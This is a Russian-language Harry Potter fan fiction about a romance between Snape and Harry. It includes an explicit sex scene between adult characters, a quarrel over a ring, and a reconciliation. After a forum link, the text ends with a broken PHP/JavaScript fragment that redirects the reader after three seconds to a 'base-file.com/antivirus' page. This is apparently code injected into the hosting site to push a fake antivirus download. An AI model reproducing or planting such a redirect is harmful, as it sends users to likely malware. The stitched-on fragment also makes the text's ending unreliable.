- Возьми, - шепчут раскрасневшиеся губы, а его рука по инерции все еще движется, и ты из последних сил удерживаешься. Один только вид Поттера между твоих ног... А когда он, все еще глядя тебе в глаза, откидывается назад и разводит в стороны согнутые колени... Ты готов на все - продать душу черт-те кому, сделаться сквибом, стать его слугой - лишь бы он отдавался вот так, как сейчас. Всегда. Безмерно. Сладко. Ты берешь его, сначала мучительно медленно, а потом срываешься и начинаешь вколачиваться в это чудесное тело до полной потери сердечного ритма, до красных кругов перед глазами... до самой потрясающей финальной судороги. Он изворачивается, выталкивая тебя, и ловит ртом молочно-серебристые струйки. И ты желаешь только одного - чтобы это никогда не кончалось...

Присаживается возле кресла на пол, на колени - чуть захмелевший от грога - и протягивает тебе что-то.

Коробку какую-то красную.

- Это... - Зажимает рот рукой, икает. - Тебе.

- Вижу что не соплохвосту, Поттер!

- Гарри…

- Сначала выясним, что у тебя там, а уже потом решим, Поттер или Гарри.

Вроде как обиделся, щеки надул, смотрит.

- Иди сюда, сядь, - стучишь по подлокотнику.

Он в мгновение ока, словно обезьянка, усаживается и подсовывает под твою ногу свои ступни. Весело улыбаясь, протягивает свой подарок.

- Тебе понравится, правда.

Открываешь коробку так, точно там взрывчатка. Медленно снимаешь крышку… Мерлиновы яйца!

- Нет, так называть меня не надо, - хихикает паршивец, - просто скажи «спасибо, Гарри» и…

- Я тебя убью! И сяду Азкабан!

- Северус…

- Мальчишка! Издеваешься?!

В глаза не смотрит, голову опустил, дышит так, будто сейчас разрыдается. Пускай, пускай рыдает.

Ты устал от него. От его постоянного тревожного присутствия, от его стрессов и истерик. От его нежелания владеть магией. Да от всего!

Ну ладно, пару дней назад тебе казалось, что ты ради него горы свернешь.

Так обычный гормональный всплеск. Мальчишка юн и хорош собой. А ты, наверное, захотел вспомнить молодость. Вспомнить, как это хорошо - быть с кем-то.

- Уйди ты, прошу!

Молча сползает с подлокотника и выходит.

Слышится хлопок аппарации - и в доме повисает тишина. Тяжелая, давящая на уши тишина.

И одиночество.

Зачем, ну зачем он притащил тебе это дурацкое кольцо?!

Каждый человек совершает глупые поступки. Все мы разные и у всех у нас в головах свои мысли и свои странности. Можно смертельно обидеться из-за несправедливо брошенных слов. А можно понять и пересилить себя…

Ведь иначе вся твоя жизнь рухнет. Ваша с ним жизнь.

- Северус, я… - Ты стараешься не смотреть ему в глаза. Страшно. Тебя не было здесь больше трех месяцев – столько тебе понадобилось, чтобы все понять и все решить. Уже апрель. – Прости. Я не подумал тогда, когда дарил его тебе.

- Иди сюда. - Тихо.

Он стоит, щурясь на солнце, в старом сером свитере и потертых штанах. Глуп тот, кто представляет, будто профессор Снейп, ныне колдомедик респектабельной больницы, ходит исключительно в черном и носит брюки со стрелкой и атласные сорочки. Будто он всегда собран и подтянут.

Да у него на пузе, возле пупка, отпечаток резинки трусов! Такой красноватый, рельефный.

Ты это помнишь. Тебе эти рубчики на коже дороги. Они делают его обычным и таким твоим. Только ты о них знаешь.

- Я не ожидал, что стану так психовать. - Берет тебя ладонями за лицо. Тепло.

- Я тоже хорош! Удрал…

- Ну, обычная твоя реакция. Если для тебя так хочется окольцевать меня, ради Мерлина. - Смотрит в глаза. - Только одна встречная просьба. Не уходи. Не уходи больше!

 

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>